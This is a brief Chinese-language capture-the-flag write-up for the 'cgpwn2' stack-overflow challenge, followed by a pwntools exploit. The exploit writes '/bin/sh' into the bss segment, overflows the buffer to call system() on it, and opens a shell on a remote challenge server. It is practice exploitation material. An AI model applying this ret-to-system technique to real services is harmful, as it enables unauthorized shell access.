简单的栈溢出题目，有system函数没有"/bin/sh"字符串，但是也提供了fgets(name, 50, stdin);给我们往bss段写入"/bin/sh"
image.png
exp:
from pwn import *
# p = process('./cgpwn2')
p = remote("111.198.29.45","31298")
system_addr = 0x8048420
bss_addr = 0x804A080
p.recvuntil('name\n')
p.sendline("/bin/sh\x00")
p.recvuntil('here:\n')
payload = 42*'a' + p32(system_addr) + p32(0) + p32(bss_addr)
p.sendline(payload)
p.interactive()
